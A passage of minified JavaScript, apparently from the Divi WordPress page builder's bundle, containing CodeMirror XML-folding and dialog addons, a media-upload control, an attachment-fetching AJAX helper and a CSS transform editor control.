!function(e){"use strict";var t=e.Pos;function n(e,t){return e.line-t.line||e.ch-t.ch}var o="A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",r=new RegExp("<(/?)(["+o+"]["+o+"-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*)","g");function i(e,t,n,o){this.line=t,this.ch=n,this.cm=e,this.text=e.getLine(t),this.min=o?Math.max(o.from,e.firstLine()):e.firstLine(),this.max=o?Math.min(o.to-1,e.lastLine()):e.lastLine()}function a(e,n){var o=e.cm.getTokenTypeAt(t(e.line,n));return o&&/\btag\b/.test(o)}function s(e){if(!(e.line>=e.max))return e.ch=0,e.text=e.cm.getLine(++e.line),!0}function l(e){if(!(e.line<=e.min))return e.text=e.cm.getLine(--e.line),e.ch=e.text.length,!0}function u(e){for(;;){var t=e.text.indexOf(">",e.ch);if(-1==t){if(s(e))continue;return}if(a(e,t+1)){var n=e.text.lastIndexOf("/",t),o=n>-1&&!/\S/.test(e.text.slice(n+1,t));return e.ch=t+1,o?"selfClose":"regular"}e.ch=t+1}}function c(e){for(;;){var t=e.ch?e.text.lastIndexOf("<",e.ch-1):-1;if(-1==t){if(l(e))continue;return}if(a(e,t+1)){r.lastIndex=t,e.ch=t;var n=r.exec(e.text);if(n&&n.index==t)return n}else e.ch=t}}function d(e){for(;;){r.lastIndex=e.ch;var t=r.exec(e.text);if(!t){if(s(e))continue;return}if(a(e,t.index+1))return e.ch=t.index+t[0].length,t;e.ch=t.index+1}}function p(e){for(;;){var t=e.ch?e.text.lastIndexOf(">",e.ch-1):-1;if(-1==t){if(l(e))continue;return}if(a(e,t+1)){var n=e.text.lastIndexOf("/",t),o=n>-1&&!/\S/.test(e.text.slice(n+1,t));return e.ch=t+1,o?"selfClose":"regular"}e.ch=t}}function f(e,n){for(var o=[];;){var r,i=d(e),a=e.line,s=e.ch-(i?i[0].length:0);if(!i||!(r=u(e)))return;if("selfClose"!=r)if(i[1]){for(var l=o.length-1;l>=0;--l)if(o[l]==i[2]){o.length=l;break}if(l<0&&(!n||n==i[2]))return{tag:i[2],from:t(a,s),to:t(e.line,e.ch)}}else o.push(i[2])}}function h(e,n){for(var o=[];;){var r=p(e);if(!r)return;if("selfClose"!=r){var i=e.line,a=e.ch,s=c(e);if(!s)return;if(s[1])o.push(s[2]);else{for(var l=o.length-1;l>=0;--l)if(o[l]==s[2]){o.length=l;break}if(l<0&&(!n||n==s[2]))return{tag:s[2],from:t(e.line,e.ch),to:t(i,a)}}}else c(e)}}e.registerHelper("fold","xml",function(e,o){for(var r=new i(e,o.line,0);;){var a=d(r);if(!a||r.line!=o.line)return;var s=u(r);if(!s)return;if(!a[1]&&"selfClose"!=s){var l=t(r.line,r.ch),c=f(r,a[2]);return c&&n(c.from,l)>0?{from:l,to:c.from}:null}}}),e.findMatchingTag=function(e,o,r){var a=new i(e,o.line,o.ch,r);if(-1!=a.text.indexOf(">")||-1!=a.text.indexOf("<")){var s=u(a),l=s&&t(a.line,a.ch),d=s&&c(a);if(s&&d&&!(n(a,o)>0)){var p={from:t(a.line,a.ch),to:l,tag:d[2]};return"selfClose"==s?{open:p,close:null,at:"open"}:d[1]?{open:h(a,d[2]),close:p,at:"close"}:(a=new i(e,l.line,l.ch,r),{open:p,close:f(a,d[2]),at:"open"})}}},e.findEnclosingTag=function(e,t,n,o){for(var r=new i(e,t.line,t.ch,n);;){var a=h(r,o);if(!a)break;var s=new i(e,t.line,t.ch,n),l=f(s,a.tag);if(l)return{open:a,close:l}}},e.scanForClosingTag=function(e,t,n,o){var r=new i(e,t.line,t.ch,o?{from:0,to:o}:null);return f(r,n)}}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){function t(t,n,o){var r,i=t.getWrapperElement();return(r=i.appendChild(document.createElement("div"))).className=o?"CodeMirror-dialog CodeMirror-dialog-bottom":"CodeMirror-dialog CodeMirror-dialog-top","string"==typeof n?r.innerHTML=n:r.appendChild(n),e.addClass(i,"dialog-opened"),r}function n(e,t){e.state.currentNotificationClose&&e.state.currentNotificationClose(),e.state.currentNotificationClose=t}e.defineExtension("openDialog",function(o,r,i){i||(i={}),n(this,null);var a=t(this,o,i.bottom),s=!1,l=this;function u(t){if("string"==typeof t)d.value=t;else{if(s)return;s=!0,e.rmClass(a.parentNode,"dialog-opened"),a.parentNode.removeChild(a),l.focus(),i.onClose&&i.onClose(a)}}var c,d=a.getElementsByTagName("input")[0];return d?(d.focus(),i.value&&(d.value=i.value,!1!==i.selectValueOnOpen&&d.select()),i.onInput&&e.on(d,"input",function(e){i.onInput(e,d.value,u)}),i.onKeyUp&&e.on(d,"keyup",function(e){i.onKeyUp(e,d.value,u)}),e.on(d,"keydown",function(t){i&&i.onKeyDown&&i.onKeyDown(t,d.value,u)||((27==t.keyCode||!1!==i.closeOnEnter&&13==t.keyCode)&&(d.blur(),e.e_stop(t),u()),13==t.keyCode&&r(d.value,t))}),!1!==i.closeOnBlur&&e.on(a,"focusout",function(e){null!==e.relatedTarget&&u()})):(c=a.getElementsByTagName("button")[0])&&(e.on(c,"click",function(){u(),l.focus()}),!1!==i.closeOnBlur&&e.on(c,"blur",u),c.focus()),u}),e.defineExtension("openConfirm",function(o,r,i){n(this,null);var a=t(this,o,i&&i.bottom),s=a.getElementsByTagName("button"),l=!1,u=this,c=1;function d(){l||(l=!0,e.rmClass(a.parentNode,"dialog-opened"),a.parentNode.removeChild(a),u.focus())}s[0].focus();for(var p=0;p<s.length;++p){var f=s[p];!function(t){e.on(f,"click",function(n){e.e_preventDefault(n),d(),t&&t(u)})}(r[p]),e.on(f,"blur",function(){--c,setTimeout(function(){c<=0&&d()},200)}),e.on(f,"focus",function(){++c})}}),e.defineExtension("openNotification",function(o,r){n(this,u);var i,a=t(this,o,r&&r.bottom),s=!1,l=r&&void 0!==r.duration?r.duration:5e3;function u(){s||(s=!0,clearTimeout(i),e.rmClass(a.parentNode,"dialog-opened"),a.parentNode.removeChild(a))}return e.on(a,"click",function(t){e.e_preventDefault(t),u()}),l&&(i=setTimeout(u,l)),u})}(n(1276))},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(118),c=n(7),d=n.n(c),p=n(46),f=n.n(p),h=n(2),m=n.n(h),g=n(31),v=n.n(g),b=n(10),y=n.n(b),_=n(816),k=n(62),w=n(980),C=n(0),E=n(1507),O=(n(1428),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),S=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var T=new u.AllHtmlEntities,M={},x=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.displayName="ETBuilderControlUpload",t._onChange=t._onChange.bind(t),t._onClick=t._onClick.bind(t),t._onClickRemove=t._onClickRemove.bind(t),t._onClickReset=t._onClickReset.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["PureComponent"]),S(n,[{key:"_onChange",value:function(e){this.props._onChange(this.props.name,e.target.value)}},{key:"_onClick",value:function(t){if(!this.props.readonly){t&&"function"==typeof t.preventDefault&&t.preventDefault(),t&&"function"==typeof t.stopPropagation&&t.stopPropagation();var n=m()(C.default.topWindow(),"getUserSetting",f.a)("imgsize"),o=m()(C.default.topWindow(),"setUserSetting",f.a),r=function(){return o("imgsize",n)};o("imgsize","full");var i=C.default.topWindow().wp.media,a=this.props,s=a.name,l=a.hide_metadata,u=a.attachment_id,c=a.embed,p=a.choose_text,h=a.upload_button_text,g=a._onChange,b=a._onEnableBackgroundSetting,y=void 0;if(!0===l&&e("body").addClass("et-bp-settings-option-upload-hide-metadata"),void 0!==y)return y.open(),void r();(y=i.frames.file_frame=new i.view.MediaFrame.ETSelect({title:T.decode(p),library:{type:this._getDataType()},button:{text:T.decode(h)},multiple:!1,embed:c})).on("select",function(){var e=y.state().props.get("url");g(s,e)}),y.on("close",function(){e("body").removeClass("et-bp-settings-option-upload-hide-metadata")}),y.on("insert",function(){var e=y.state().get("selection").first();if(e){var t=e.get("alt");t&&d()(b)&&g("alt",t);var n=e.get("title");n&&d()(b)&&g("title_text",n);var o=e.get("url"),r=y.state().display(e).get("size");r&&v()(e,"attributes.sizes."+r)&&(o=m()(e,"attributes.sizes."+r).url);var i=o;if(u){var a=e.get("id");M[a]=o,i=a}g(s,i)}}),y.open(),r()}}},{key:"_onClickRemove",value:function(){this.props._onChange(this.props.name,""),d()(this.props._onEnableBackgroundSetting)||this.props._onEnableBackgroundSetting(this.props.name,"delete",this.props.type)}},{key:"_onClickReset",value:function(){this.props._onChange(this.props.name,"",void 0,void 0,!0),d()(this.props._onEnableBackgroundSetting)||this.props._onEnableBackgroundSetting(this.props.name,"reset",this.props.type)}},{key:"_hasPreview",value:function(){return"image"===this._getDataType()||"video"===this._getDataType()}},{key:"getAddTitle",value:function(){var e=ETBuilderBackend.i18n.controls.upload,t="video"===this._getDataType()?e.addVideo:e.addImage;return m()(this,"props.addTitle",t)}},{key:"_getDataType",value:function(){return d()(this.props.data_type)?"image":this.props.data_type}},{key:"_getPreviewStyle",value:function(e){if(C.default.hasValue(e)&&this._hasPreview()&&"video"!==this._getDataType()){var t={};if(m()(this,"props.isBackgroundType")){var n=m()(this,"props.imagePreviewAttrs",{});t.backgroundImage="url("+e+")",t.backgroundPosition=d()(n.position)?"":n.position.replace("_"," "),n.parallax?(t.backgroundRepeat="no-repeat",t.backgroundSize="cover",t.backgroundPosition="center"):(t.backgroundColor=n.color,t.backgroundBlendMode=n.blend,t.backgroundRepeat=n.repeat,t.backgroundSize=n.size,n.gradient&&(e&&(t.backgroundColor="initial"),C.default.isOn(n.gradientOverlaysImage)?t.backgroundImage=n.gradient+", url("+e+")":t.backgroundImage="url("+e+"), "+n.gradient))}else t.backgroundColor=k.a.uploadImagePreview;return t}}},{key:"_getPreviewContent",value:function(e){if(C.default.hasValue(e)&&this._hasPreview())return"image"!==this._getDataType()||m()(this,"props.isBackgroundType")?"video"===this._getDataType()?r.a.createElement(E.a,{className:"et-fb-settings-option-preview-content",loop:"loop",muted:"muted",autoPlay:"autoplay",height:190,style:{width:"100%",background:"rgb(51, 59, 68)"},src:Object(_.e)({width:500,controls:0,fs:0,iv_load_policy:3,modestbranding:1,showinfo:0},e)}):void 0:r.a.createElement("img",{src:e})}},{key:"_renderPreview",value:function(e,t){if(!this._hasPreview())return!1;var n=this.props,o=n.readonly,i=n.hideAddButton,a=n.hideEditButton,s=n.hideRemoveButton,l=n.hideResetButton,u=C.default.hasValue(e),c=!o&&!i&&!u,d=!o&&!a&&u,p=!o&&!s&&u,f=!o&&!l&&u&&e!==t;return r.a.createElement(w.a,{className:"et-fb-settings-option-upload-type-"+this._getDataType(),addTitle:this.getAddTitle(),previewStyle:this._getPreviewStyle(e),showAddButton:c,showEditButton:d,showRemoveButton:p,showResetButton:f,onClickCanvas:this._onClick,onClickAddButton:this._onClick,onClickEditButton:this._onClick,onClickRemoveButton:this._onClickRemove,onClickResetButton:this._onClickReset},this._getPreviewContent(e))}},{key:"render",value:function(){var e=this._hasPreview(),t=m()(this.props,"default",""),n=m()(this.props,"value",t),o=m()(this.props,"additional_attrs",{}),i={"et-fb-settings-option-inner":!0,"et-fb-settings-option-inner-upload":!0,"et-fb-settings-option-inner-upload--previewable":e},a={"et-fb-settings-option-input":!0,"et-fb-settings-option-upload":!0},s=m()(this,"props.module.props.module.props"),u="background_image"===m()(this,"props.name")&&y()(ETBuilderBackend.modulesFeaturedImageBackground,m()(s,"type"))&&C.default.isOn(m()(s,"attrs.featured_image"))&&"background"===m()(s,"attrs.featured_placement");return this.props.className?a[this.props.className]=!0:(a["et-fb-main-setting"]=!0,a["regular-text"]=!0),m()(this,"props.attachment_id")&&C.default.hasValue(n)&&(t=m()(M,t,ETBuilderBackend.currentPage.thumbnailUrl),n=m()(M,n,t)),u&&(n=ETBuilderBackend.currentPage.thumbnailUrl),r.a.createElement("div",{className:l()(i)},this._renderPreview(n,t),r.a.createElement("input",O({className:l()(a),type:"text",value:n,name:this.props.name,id:"et-fb-"+this.props.name,onChange:this._onChange},o)),r.a.createElement("button",{className:"et-fb-settings-option-upload-button",onClick:this._onClick},ETBuilderBackend.i18n.controls.upload.buttonText))}}]),n}();x.propTypes={choose_text:a.a.string,upload_button_text:a.a.string,embed:a.a.bool,attachment_id:a.a.bool,isBackgroundType:a.a.bool,hideAddButton:a.a.bool,hideEditButton:a.a.bool,hideRemoveButton:a.a.bool,hideResetButton:a.a.bool},x.defaultProps={choose_text:"",upload_button_text:"",embed:!0,attachment_id:!1,isBackgroundType:!1,hideAddButton:!1,hideEditButton:!1,hideRemoveButton:!1,hideResetButton:!1},t.a=x}).call(this,n(24))},function(e,t,n){"use strict";(function(e){n.d(t,"b",function(){return C});var o=n(29),r=n.n(o),i=n(175),a=n.n(i),s=n(1432),l=n.n(s),u=n(323),c=n.n(u),d=n(153),p=n.n(d),f=n(1433),h=n.n(f),m=n(862),g=n.n(m),v=n(398),b=n.n(v),y=n(861),_=n.n(y),k={},w=p()(function(t){var n=a()(t,r()(k));if(!_()(n)){var o=function(t){return new Promise(function(n){return e.ajax({type:"POST",url:ETBuilderBackend.ajaxUrl,dataType:"json",data:{action:"et_fb_fetch_attachments",et_fb_fetch_attachments:ETBuilderBackend.nonces.fetchAttachments,ids:t},success:n})})}(n);n.map(function(e){return k[e]=o.then(l()(function(t){var n=t.ID;return e===b()(n)}))})}return t.map(function(e){return k[e]})},g()(b.a)),C=p()(h.a,w);t.a=p()(c.a,w,function(e){return[e]})}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(2),l=n.n(s),u=n(10),c=n.n(u),d=n(15),p=n.n(d),f=n(46),h=n.n(f),m=n(38),g=n.n(m),v=n(7),b=n.n(v),y=(n(1323),n(0)),_=n(40),k=n(1279),w=n(64),C=n(62),E=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},O=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var S="#C9D2DD",T="#e7eef5",M="#0287e0",x=50,P=function(e){var t="";switch(e){case"ew":t=r.a.createElement("path",{fill:C.a.white,d:"M12.29 6.29L9.85 3.85a.5.5 0 0 0-.85.36V6H5V4.21a.5.5 0 0 0-.85-.35L1.71 6.29a1 1 0 0 0 0 1.41l2.44 2.44A.5.5 0 0 0 5 9.79V8h4v1.79a.5.5 0 0 0 .85.35l2.44-2.44a1 1 0 0 0 0-1.41z",fillRule:"evenodd"});break;case"nesw":t=r.a.createElement("path",{fill:C.a.white,d:"M10 3H6.51a.51.51 0 0 0-.36.86l1.27 1.3-2.28 2.29-1.28-1.28a.51.51 0 0 0-.86.36V10a1 1 0 0 0 1 1h3.49a.51.51 0 0 0 .36-.86l-1.3-1.3 2.29-2.26 1.3 1.3a.51.51 0 0 0 .86-.36V4a1 1 0 0 0-1-1z",fillRule:"evenodd"});break;case"nwse":t=r.a.createElement("path",{fill:C.a.white,d:"M10.85 6.17a.51.51 0 0 0-.71 0L8.86 7.45 6.58 5.16l1.27-1.27A.51.51 0 0 0 7.49 3H4a1 1 0 0 0-1 1v3.52a.51.51 0 0 0 .86.36l1.3-1.3 2.29 2.28-1.3 1.3a.51.51 0 0 0 .36.86H10a1 1 0 0 0 1-1V6.53a.5.5 0 0 0-.15-.36z",fillRule:"evenodd"});break;default:t=r.a.createElement("path",{fill:C.a.white,d:"M9.79 9H8V5h1.79a.5.5 0 0 0 .35-.85L7.71 1.73a1 1 0 0 0-1.41 0L3.85 4.17a.5.5 0 0 0 .36.83H6v4H4.21a.5.5 0 0 0-.35.85l2.44 2.44a1 1 0 0 0 1.41 0l2.44-2.44A.5.5 0 0 0 9.79 9z",fillRule:"evenodd"})}return r.a.createElement("svg",{viewBox:"0 0 14 14",preserveAspectRatio:"xMidYMid meet",shapeRendering:"geometricPrecision"},t)},j=function(e){var t=Object(y.hasValue)(e.angle)?parseFloat(e.angle)*Math.PI/180:0,n=void 0,o=void 0,i=void 0,a=void 0;switch(e.type){case"rotate_z":i="m "+(o={x:(n={x:40,y:40}).x+1.5+7,y:n.y+1.5+7}).x+","+o.y+" 0,0",a="m "+o.x+","+o.y+" 0,0";break;case"rotate_y":i="m "+(o={x:(n={x:42.4681,y:21.3538076}).x+1.5+7,y:n.y+1.5+7+n.y}).x+","+o.y+" 0,-"+2*n.y,a="m "+o.x+","+(o.y+n.y)+" 0,"+n.y;break;case"rotate_x":i="m "+(o={x:(n={x:21.3538076,y:42.4681}).x+1.5+7+n.x,y:n.y+1.5+7}).x+","+o.y+" -"+2*n.x+",0",a="m "+(o.x+n.x)+","+o.y+" "+n.x+",0"}var s={x:n.x*Math.cos(t)+o.x,y:n.y*Math.sin(t)+o.y};return r.a.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:2*o.x,height:2*o.y},r.a.createElement("circle",{fill:S,cx:o.x,cy:o.y,r:3.5}),r.a.createElement("path",{fill:"none",stroke:S,strokeWidth:2,strokeDasharray:"4,4",d:"m "+o.x+","+o.y+" "+(s.x-o.x)+","+(s.y-o.y)}),r.a.createElement("ellipse",{fill:"none",stroke:T,strokeWidth:3.5,cx:o.x,cy:o.y,rx:n.x,ry:n.y}),r.a.createElement("path",{fill:"none",stroke:S,strokeWidth:3,d:i}),r.a.createElement("path",{fill:"none",stroke:S,strokeWidth:3,d:a}),r.a.createElement("circle",{fill:M,cx:s.x,cy:s.y,r:7,"data-transform_type":e.type,onMouseDown:e.handleOnMouseDown,style:{cursor:"pointer"}}))};j.propTypes={type:a.a.string,angle:a.a.string,handleOnMouseDown:a.a.func},j.defaultProps={angle:"0",type:"rotate_x",handleOnMouseDown:h.a};var L=function(e){return r.a.createElement("div",{id:"et-fb-settings-transform-container",className:"et-fb-settings-transform-container",style:p()({},e.style)},e.hideRuler?null:r.a.createElement("div",{className:"et-fb-settings-transform-hr"}),e.hideRuler?null:r.a.createElement("div",{className:"et-fb-settings-transform-vr"}),e.hideDotSquare?null:r.a.createElement("div",{className:"et-fb-settings-transform-square-dotted"}),e.children)};L.propTypes={hideRuler:a.a.bool,hideDotSquare:a.a.bool,children:a.a.node,style:a.a.object,onMouseLeave:a.a.func},L.defaultProps={hideRuler:!1,hideDotSquare:!1,children:r.a.createElement("span",null),style:{},onMouseLeave:h.a};var N=function(e){var t=(""+e).split("_");return{type:t[0],axis:t[1],index:l()({x:0,y:1,z:2},t[1],0)}},D=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.state={dragHandle:"",values:[],scaleLinked:!0,skewLinked:!0,translateLinked:!0,controllerCenter:{x:0,y:0},containerDimensions:{width:170,height:170}},t._handleMouseMove=t._handleMouseMove.bind(t),t._handleMouseUp=t._handleMouseUp.bind(t),t._handleOnMouseDown=t._handleOnMouseDown.bind(t),t._handleOriginClick=t._handleOriginClick.bind(t),t._setOption=t._setOption.bind(t),t._handleLinkedClick=t._handleLinkedClick.bind(t),t._handleWrapperEnter=t._handleWrapperEnter.bind(t),t._handleWrapperLeave=t._handleWrapperLeave.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),O(n,[{key:"shouldComponentUpdate",value:function(e){return!g()(this.props,e)}},{key:"UNSAFE_componentWillMount",value:function(){this.setState({values:this._getValues(),scaleLinked:this.props.scaleLinked,skewLinked:this.props.skewLinked,translateLinked:this.props.translateLinked})}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){Object(y.hasValue)(e.value)&&e.value!==e.default?this.state.values.join("|")!==e.value&&this.setState({values:(""+e.value).split("|")}):this.setState({values:(""+e.default).split("|")})}},{key:"componentDidMount",value:function(){Object(y.topWindow)().addEventListener("mousemove",this._handleMouseMove),Object(y.topWindow)().addEventListener("mouseup",this._handleMouseUp)}},{key:"componentWillUnmount",value:function(){Object(y.topWindow)().removeEventListener("mousemove",this._handleMouseMove),Object(y.topWindow)().removeEventListener("mouseup",this._handleMouseUp)}},{key:"_handleOnMouseDown",value:function(t){if(!Object(y.hasValue)(this.props.readonly)){var n=t.currentTarget.dataset.transform_type;if(this.setState({dragHandle:n}),"rotate"===N(n).type){var o=e(t.target.parentElement),r=o.position();this.setState({controllerCenter:{x:r.left+o.width()/2,y:r.top+o.height()/2}})}}}},{key:"_handleMouseMove",value:function(e){if(!Object(y.hasValue)(this.props.readonly)&&(Object(y.hasValue)(this.state.dragHandle)&&(0!==e.movementX||0!==e.movementY)))switch(N(this.state.dragHandle).type){case"scale":var t=this.props.scaleLinked,n=-1*e.movementY,o=e.movementX,r=100*n/x+parseFloat(this._getOption("scale_y"))+"%",i=100*o/x+parseFloat(this._getOption("scale_x"))+"%";if("scale_y"===this.state.dragHandle)0!==e.movementY&&this._setOption("scale_y",r);else if("scale_x"===this.state.dragHandle)0!==e.movementX&&this._setOption("scale_x",i);else if(t){var a=100*(o+n)/x+parseFloat(this._getOption("scale_x"))+"%";this._setOption("scale_x",a)}else this._setOption("scale_y",r),this._setOption("scale_x",i);break;case"skew":var s=180*(2*e.movementX+this.state.containerDimensions.width)/this.state.containerDimensions.width-180,l=180*(2*e.movementY*-1+this.state.containerDimensions.height)/this.state.containerDimensions.height-180,u=Math.round(l)+parseFloat(this._getOption("skew_y"))+"deg",c=Math.round(s)+parseFloat(this._getOption("skew_x"))+"deg";"skew_y"===this.state.dragHandle?0!==e.movementY&&this._setOption("skew_y",u):"skew_x"===this.state.dragHandle&&0!==e.movementX&&this._setOption("skew_x",c);break;case"translate":var d=Object(w.c)(this._getOption("translate_y")),p=Object(w.c)(this._getOption("translate_x")),f=300*(2*e.movementX+this.state.containerDimensions.width)/this.state.containerDimensions.width-300,h=300*(2*e.movementY+this.state.containerDimensions.height)/this.state.containerDimensions.height-300,m=""+(Math.round(h)+parseFloat(this._getOption("translate_y")))+d,g=""+(Math.round(f)+parseFloat(this._getOption("translate_x")))+p;0!==e.movementY&&this._setOption("translate_y",m),0!==e.movementX&&this._setOption("translate_x",g);break;case"origin":var v=Object(w.c)(this._getOption("origin_y")),b=Object(w.c)(this._getOption("origin_x")),_=e.movementY,k=e.movementX;"%"===v&&(_*=100/x),"%"===b&&(k*=100/x);var C=_+parseFloat(this._getOption("origin_y"))+v,E=k+parseFloat(this._getOption("origin_x"))+b;0!==e.movementY&&this._setOption("origin_y",C),0!==e.movementX&&this._setOption("origin_x",E);break;case"rotate":var O=this.state.controllerCenter,S=Math.atan2(e.pageY-O.y,e.pageX-O.x)*(180/Math.PI);S<0&&(S+=360),360===S&&(S=0);var T=S.toFixed(0)+"deg";this._setOption(this.state.dragHandle,T)}}},{key:"_handleMouseUp",value:function(e){this.setState({dragHandle:!1})}},{key:"_handleLinkedClick",value:function(e){var t=e.currentTarget.dataset.linked_type;c()(["scale","skew","translate"],t)&&this.props.onClickLink(t),e.preventDefault()}},{key:"_handleOriginClick",value:function(e){if(e.preventDefault(),e.stopPropagation(),!Object(y.hasValue)(this.props.readonly)){var t=e.currentTarget.dataset.origin_type,n={1:{x:0,y:0},2:{x:50,y:0},3:{x:100,y:0},4:{x:0,y:50},5:{x:50,y:50},6:{x:100,y:50},7:{x:0,y:100},8:{x:50,y:100},9:{x:100,y:100}};Object(y.hasValue)(l()(n,t,!1))&&(this._setOption("origin_x",n[t].x+"%"),this._setOption("origin_y",n[t].y+"%"))}}},{key:"_handleWrapperEnter",value:function(){this.current=e('[data-address="'+this.props.module.props.address+'"]')[0],b()(this.current)||(this.current.style.transition="transform 0s ease",this.current.firstChild instanceof Element&&(this.current.firstChild.style.transition="transform 0s ease"))}},{key:"_handleWrapperLeave",value:function(){b()(this.current)||(this.current.style.removeProperty("transition"),0===this.current.style.length&&this.current.removeAttribute("style"),this.current.firstChild instanceof Element&&(this.current.firstChild.style.removeProperty("transition"),0===this.current.firstChild.style.length&&this.current.firstChild.removeAttribute("style")))}},{key:"_setOption",value:function(e,t,n){var o=N(e),r=this.state.values[o.index];if(r!==t){var i=this._sanitization(t,e),a=i.value-parseFloat(r),s=this.state.values;if(s[o.index]=i.value+i.unit,(Object(y.hasValue)(n)||c()(["skew","scale"],o.type))&&(this.props.scaleLinked&&"scale"===o.type||this.props.skewLinked&&"skew"===o.type||this.props.translateLinked&&"translate"===o.type)){var l="x"===o.axis?o.type+"_y":o.type+"_x",u=this._getOption(l),d=u;0!==a&&(d=parseFloat(u)+a+i.unit);var p=this._sanitization(d,l);s["x"===o.axis?1:0]=p.value+p.unit}var f=s.join("|"),h=f===this.props.default;this.setState({values:s}),this.props._onChange(this.props.name,f,n,null,h)}}},{key:"_getValues",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,t=(""+e.default).split("|"),n=t;return Object(y.hasValue)(e.value)&&(n=(""+e.value).split("|")),t.forEach(function(e,t){Object(y.hasValue)(n[t])||(n[t]=e)}),n}},{key:"_getOption",value:function(e){return this.state.values[N(e).index]}},{key:"_getOptionDefault",value:function(e){return(""+this.props.default).split("|")[N(e).index]}},{key:"_sanitization",value:function(e,t){var n=this._getOptionDefault(t),o={value:parseFloat(n),unit:this.props.default_unit};if(!Object(y.hasValue)(e))return o;var r=isNaN(parseFloat(e))?parseFloat(n):parseFloat(e);switch(o.value=r,t){case"skew_x":case"skew_y":var i=this._getOption(t),a=isNaN(parseFloat(i))?r:parseFloat(i),s=0===Math.sign(a)?1:Math.sign(a),l=Math.abs(r);if(90===l){var u=Math.abs(a);u<90?o.value=91*s:u>=90&&(o.value=89*s)}l>180&&(o.value=180*s);break;case"rotate_x":case"rotate_y":case"rotate_z":o.value=r%360;break;default:o.unit=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"px",n=Object(w.c)(e,t);return c()(["em","rem","px","%","vw","vh"],n)?n:t}(e,this.props.default_unit)}return o}},{key:"_renderField",value:function(e){var t=N(e),n=!1;"origin"===t.type&&(n=t.axis);var r={name:e,type:"range",value:this._getOption(e),default:this._getOptionDefault(e),default_unit:this.props.default_unit,range_settings:this.props.range_settings,key:this.props.name+"-"+e,_onChange:this._setOption,visible:!0,previewMode:"desktop",readonly:this.props.readonly,isTransformOrigin:n,allowed_values:!1!==n?["top","left","right","bottom","center"]:[]};return Object(o.createElement)(k.a.getControl("range"),r)}},{key:"render",value:function(){var e=this,t=function(){return{minWidth:"25px",width:"25px",height:"25px",margin:"0",fill:!(arguments.length>0&&void 0!==arguments[0])||arguments[0]?C.a.info:C.a.default}},n=Object(y.hasValue)(this.props.transform_type)?this.props.transform_type:(""+e.props.name).replace(/(transform_|__hover|_tablet|_phone)/g,""),o={onMouseEnter:this._handleWrapperEnter,onMouseLeave:this._handleWrapperLeave};switch(n){case"scale":var i=this._getOption("scale_x"),a=this._getOption("scale_y"),s=this.props.scaleLinked?{display:"none"}:{},l={};return l=i?E({},l,{width:x*parseFloat(i)/100+"px"}):l,l=a?E({},l,{height:x*parseFloat(a)/100+"px"}):l,r.a.createElement("div",E({className:"et-fb-settings-transform-wrapper"},o),r.a.createElement(L,{onMouseLeave:this._handleMouseUp},r.a.createElement("div",{className:"et-fb-settings-transform-square",style:l},r.a.createElement("div",{className:"et-fb-settings-transform-square-half"},r.a.createElement("div",{className:"et-fb-settings-transform-controller","data-transform_type":"scale_xy",onMouseDown:this._handleOnMouseDown,style:{margin:"-8px",cursor:"nesw-resize"}},P("nesw")),r.a.createElement("div",{className:"et-fb-settings-transform-controller","data-transform_type":"scale_y",onMouseDown:this._handleOnMouseDown,style:E({},s,{marginTop:"-9px",marginLeft:"-2px",cursor:"ns-resize"})},P("ns")),r.a.createElement("div",null)),r.a.createElement("div",{className:"et-fb-settings-transform-square-half"},r.a.createElement("div",{className:"et-fb-settings-transform-controller","data-transform_type":"scale_x",onMouseDown:this._handleOnMouseDown,style:E({},s,{marginTop:"-7px",marginRight:"-9px",cursor